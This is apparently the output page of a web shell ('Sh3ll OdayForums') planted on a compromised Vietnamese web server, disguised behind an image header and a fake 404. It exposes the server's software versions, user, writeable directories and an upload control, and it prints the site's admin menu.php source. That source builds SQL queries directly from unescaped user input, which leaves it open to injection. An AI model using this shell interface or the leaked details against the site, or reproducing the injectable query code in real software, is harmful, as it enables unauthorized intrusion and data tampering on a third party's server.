JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/mod/menu.php
<?php
class menu{
    var $path_image	= "upload/menu/";
    var $path_image_pages	= "upload/pages/";
    var $path_image_pagesimg	= "upload/pagesimg/";
    var $max_fsize	=  1500000;
    var $fix_root_menu = array(16,17,30,26,31,33);
    function menu (){
        global $CORE;
        $arr_mid = array();
        switch($CORE->input['code']){
            default : $this->goList(); break;
            case 'post': $this->goPost(); break;
            case 'del': $this->goDel($arr_mid); break;
        }
    }
    function tree_menu($parentid,$arr,$sep){
        if(!empty($arr)){
        foreach($arr as $key=>$v){
            if($v['parent_id'] == $parentid){
                $arr[$key]['title'] =  $sep.$arr[$key]['title'];
                $arr = $this->tree_menu($v['id'],$arr,$sep."+");
            }
        }
        }
        return $arr;
    }
    function goList(){
        global $CORE, $DB, $smarty, $print;
        $smarty->assign('module_name','Quản lý menu');
        $smarty->assign('title','Quản lý menu');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','list');
        $where = "WHERE title<>''";
        $keyword = $CORE->input['fkeyword'];
        if($keyword!='')
        {
            $where .=  " AND title LIKE '%".$keyword."%'";
        }
        $smarty->assign('keyword',$keyword);
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = 40;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(id) as total FROM NNCCMS_menu ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM NNCCMS_menu ".$where." ORDER BY `pos` ASC LIMIT $from, $pageSize");
        while($row = $DB->fetch_row($query))
        {
            $row['time'] = date('d-m-Y',$row['time']);
            $arr[] = $row;
        }
        $list2 = $this->tree_menu(0,$arr,'+');
        $smarty->assign('list',$list2);
        $nav = $print->Pagination($totalPage,$pageNum,'menu',$CORE->admin_url.'&act=menu&fcat='.$_SESSION['fcat'].'&fstatus='.$_SESSION['fstatus'].'&fkeyword='.$keyword);
        $smarty->assign('nav',$nav);
        $arr_mid = $CORE->input['mid_for_del'];
        $type = $CORE->input['type'];
        switch($type){
            case 'del':
                if(!empty($arr_mid)){
                    $this->goDel($arr_mid);
                }
                break;
            case 'pos_value_active':
                $pos_value = $CORE->input['pos_value'];
                foreach($pos_value as $key=>$val){
                    $DB->query("UPDATE NNCCMS_menu SET `pos`='$val' WHERE id='$key'");
                }
                $print->refresh('index.php?act=menu&status=edit_success');
                break;
            default:
                if(!empty($arr_mid)){
                    $this->goAction($arr_mid,$type);
                }
                break;
        }
    }
    function dequy_selected($id,$parentid,$aCats,$res,$sep){
        foreach($aCats as $val){
            if($val['parent_id']==$parentid){
                if($id==$val['id']){
                    $re = '<option value="'.$val['id'].'" selected>+'.$sep.''.$val['title'].' ('.$val['pos'].')</option>';
                }else{
                    $re = '<option value="'.$val['id'].'">+'.$sep.''.$val['title'].' ('.$val['pos'].')</option>';
                }
                $res .= $this->dequy_selected($id,$val['id'],$aCats,$re,$sep.'+');
            }
        }
        return $res;
    }
    function goPost(){
        global $CORE, $DB, $func, $smarty, $print;
        $smarty->assign('module_name','Quản lý menu');
        $smarty->assign('title','menu');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','post');
        if($_SESSION['error']) unset($CORE->input['bsubmit']);
        if(!$CORE->input['bsubmit']){
            $id = intval($CORE->input['id']);
            if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']);
            if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']);
            if($prevState!=NULL){
                $data = $prevState;
            }else{
                if($id==0){
                    $data['status'] = 1;
                }else{
                    $query = $DB->query("SELECT * FROM NNCCMS_menu WHERE id='".$id."'");
                    $data = $DB->fetch_row($query);
                    $data['eid'] = $func->encode($data['id']);
                    $data['ftitle'] = $func->format_string($data['title']);
                }
            }
            $aCats = array();
            $data['op_menu'] = '<option value="0">+Root menu</option>';
            if(!in_array($data['id'],$this->fix_root_menu)){
                $query_menu = $DB->query("SELECT * FROM NNCCMS_menu");
                while($rows_menu = $DB->fetch_row($query_menu))
                {
                    $aCats[] = $rows_menu;
                }
                $data['op_menu'] = $this->dequy_selected($data['parent_id'],0,$aCats,'<option value="0">+Root menu</option>','');
            }
            $data['noibat'] = $func->makebox($data['noibat'],'noibat');
            $data['show_top_menu'] = $func->yes_no($data['show_top_menu'],'show_top_menu');
            $data['status'] = $func->yes_no($data['status'],'status');
            $error[] = $prevError;
            $smarty->assign('error',$error);
            $smarty->assign('post',$data);

        }else{
            $id = $state['id'] = intval($CORE->input['id']);
            $title = $state['title'] = $CORE->input['title'];
            $etitle = $CORE->input['etitle'];
            $ftitle = $func->format_string($title);
            $fetitle = $func->format_string($etitle);
            if($id>0){

                    $row_check = $DB->fetch_row($DB->query("SELECT id FROM NNCCMS_menu WHERE ftitle='$ftitle' AND id<>'$id'"));

            }else{

                    $row_check = $DB->fetch_row($DB->query("SELECT id FROM NNCCMS_menu WHERE ftitle='$ftitle'"));

            }
            if($row_check){
                echo "Tên menu bị trùng, xin nhập tên khác!";
                exit();
            }
            $type  = $CORE->input['type'];
            $url = $CORE->input['url'];
            $parent_id = $CORE->input['parent_id'];
            $pos = $state['pos'] = $CORE->input['pos'];
            $show_top_menu = $CORE->input['show_top_menu'];
            $status = $state['status'] = intval($CORE->input['status']);
            $time = time();
            if($title=='') exit('Xin nhập tiêu đề cho sản phẩm');
            $image1="";
            if($_FILES['image1']){
                $image_file1 	= $_FILES['image1']['tmp_name'];
                $image_type1 	= $_FILES['image1']['type'];
                $image_name1	= substr($func->format_string($title),0,50).'_'.time();
                $thumb_name1		= "thumb_".$image_name1;
                $thumb_size1 = 240;
                $createthumb1 = $func->create_image($image_file1, $image_type1, $thumb_name1,$thumb_size1, ROOT_PATH.$this->path_image);

                $imageExt1 = $func->getImageExt($createthumb1);

                if($createthumb1 && move_uploaded_file($_FILES['image1']['tmp_name'], ROOT_PATH.$this->path_image.$image_name1.$imageExt1)){
                    $image1 = $image_name1.$imageExt1;
                    sleep(1);
                }else{
                    $error['image'] = 1;
                }
            }

            if($id==0){
                $DB->query("INSERT INTO `NNCCMS_menu` ( `parent_id`, `title`, `etitle`, `ftitle`,`fetitle`,`type`,`url`, `icon`, `time`,`time_edit`, `pos`, `show_top_menu`,`status`) VALUES ('$parent_id', '$title', '$etitle', '$ftitle','$fetitle', '$type', '$url', '$image1', '$time','0', '$pos','$show_top_menu', '$status');");
                return $print->refresh("index.php?act=menu&status=add_success");

            }else{
                $query = $DB->query("SELECT * FROM `NNCCMS_menu` WHERE id='".$id."'");
                $result = $DB->fetch_row($query);
                if($_FILES['image1'] and $image1!=''){

                    if($result['icon'] !=''){
                        @unlink(ROOT_PATH.$this->path_image.$result['icon']);
                        @unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['icon']);
                    }
                    $DB->query("UPDATE `NNCCMS_menu` SET `icon`='".$image1."' WHERE `id`='".$id."'");
                }
                if($result['id']!=$parent_id){
                    $DB->query("UPDATE `NNCCMS_menu` SET `parent_id` = '$parent_id' WHERE `id` ='$id';");
                }
                $DB->query("UPDATE `NNCCMS_menu` SET
`title` = '$title',
`etitle` = '$etitle',
`ftitle` = '$ftitle',
`fetitle` = '$fetitle',
`type` = '$type',
`url` = '$url',
`time_edit` = '$time',
`pos` = '$pos',
`show_top_menu` = '$show_top_menu',
`status` = '$status' WHERE `id` ='$id';");
                return $print->refresh("index.php?act=menu&code=post&status=edit_success&id=".$id);
            }
        }
    }
    function goAction($arr_mid,$type){
        global  $DB, $print;
        foreach($arr_mid as $val){
            switch($type){
                case 'active':
                    $DB->query("UPDATE NNCCMS_menu SET status='1' WHERE id='".$val."'");
                    break;
                case 'deactive':
                    $DB->query("UPDATE NNCCMS_menu SET status='0' WHERE id='".$val."'");
                    break;
                case 'hot':
                    $DB->query("UPDATE NNCCMS_menu SET noibat='1' WHERE id='".$val."'");
                    break;
                case 'dehot':
                    $DB->query("UPDATE NNCCMS_menu SET noibat='0' WHERE id='".$val."'");
                    break;
            }
        }
        $print->refresh('index.php?act=menu&status=edit_success');
    }
    function goDelPages($id){
        global  $DB, $func;

        $path_image_sub = $func->path_image_sub($this->path_image_pages);
        $query = $DB->query("SELECT path_img,img FROM NNCCMS_pages WHERE id='".$id."'");
        $result = $DB->fetch_row($query);
        if($result['img'] !=''){
            @unlink(ROOT_PATH.$this->path_image_pages.'thumb_'.$result['img']);
            @unlink(ROOT_PATH.$this->path_image_pages.$result['img']);
        }
        $folder = $func->remove_lastchar($path_image_sub,1);
        if($func->not_empty_folder($folder)==false){
            rmdir($folder);
        }
        $DB->query("DELETE FROM NNCCMS_menu_pages WHERE pages_id='$id'");
        $DB->query("DELETE FROM NNCCMS_pages WHERE id='".$id."'");
    }
    function goDelPagesImg($id){
        global $CORE, $DB, $print, $func;
        $query = $DB->query("SELECT path_img,img FROM NNCCMS_pagesimg WHERE id='".$id."'");
        $result = $DB->fetch_row($query);
        $q_check = $DB->query("SELECT * FROM NNCCMS_images WHERE id_pagesimg = '$id'");
        while($r_check = $DB->fetch_row($q_check)){
            if(!empty($row_check['image'])){
                @unlink(ROOT_PATH.$this->path_image_pagesimg.'thumb_'.$row_check['image']);
                @unlink(ROOT_PATH.$this->path_image_pagesimg.$row_check['image']);
            }
            if(!empty($row_check['image_banner'])){
                @unlink(ROOT_PATH.$this->path_image_pagesimg.'thumb_'.$row_check['image_banner']);
                @unlink(ROOT_PATH.$this->path_image_pagesimg.$row_check['image_banner']);
            }
        }
        $DB->query("DELETE FROM NNCCMS_images WHERE id_pagesimg = '$id'");
        if($result['img'] !=''){
            unlink(ROOT_PATH.$this->path_image_pagesimg.'thumb_'.$result['img']);
            unlink(ROOT_PATH.$this->path_image_pagesimg.$result['img']);
        }
        $DB->query("DELETE FROM NNCCMS_menu_pagesimg WHERE pagesimg_id='$id'");
        $DB->query("DELETE FROM NNCCMS_pagesimg WHERE id='".$id."'");
    }
    function deleteSub($menu_id) {
        global $DB;
        $q_main_pages = $DB->query( "SELECT pages_id FROM  NNCCMS_menu_pages WHERE menu_id='$menu_id'");
        while($r_main_pages = $DB->fetch_row($q_main_pages)){
            $this->goDelPages($r_main_pages['pages_id']);
        }
        $q_main_pages_img = $DB->query( "SELECT pagesimg_id FROM  NNCCMS_menu_pagesimg WHERE menu_id='$menu_id'");
        while($r_main_pages_img = $DB->fetch_row($q_main_pages_img)){
            $this->goDelPagesImg($r_main_pages_img['pagesimg_id']);
        }
        $request = "SELECT * FROM NNCCMS_menu WHERE parent_id = ".$menu_id;
        $results = $DB->query($request);
        while($child = $DB->fetch_row($results))
        {
            $q_sub_pages = $DB->query( "SELECT pages_id FROM  NNCCMS_menu_pages WHERE menu_id='".$child["id"]."' ");
            while($r_sub_pages = $DB->fetch_row($q_sub_pages)){
                $this->goDelPages($r_sub_pages['pages_id']);
            }
            $q_sub_pages_img = $DB->query( "SELECT pagesimg_id FROM  NNCCMS_menu_pagesimg WHERE menu_id='".$child["id"]."'");
            while($r_sub_pages_img = $DB->fetch_row($q_sub_pages_img)){
                $this->goDelPagesImg($r_sub_pages_img['pagesimg_id']);
            }
            if($child['icon'] !=''){
                @unlink(ROOT_PATH.$this->path_image.$child['icon']);
                @unlink(ROOT_PATH.$this->path_image.'thumb_'.$child['icon']);
            }
            $this->deleteSub($child["id"]);
        }
        $query = $DB->query("SELECT icon FROM NNCCMS_menu WHERE id='".$menu_id."'");
        $result = $DB->fetch_row($query);
        if($result['icon'] !=''){
            @unlink(ROOT_PATH.$this->path_image.$result['icon']);
            @unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['icon']);
        }
        $request = "DELETE FROM NNCCMS_menu WHERE id = ".$menu_id;
        return $DB->query($request);
    }

    function goDel($arr_id){
        global $CORE, $print;
        if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...');
        if(empty($arr_id)){
            $id	=	intval($CORE->input['id']);
            $this->deleteSub($id);
            $print->refresh("index.php?act=menu&status=del_success");
        }else{
            foreach($arr_id as $val){
                $this->deleteSub($val);
            }
            $print->refresh("index.php?act=menu&status=del_success");
        }
    }
}
$run = new menu();
?>

ZeroDay Forums Mini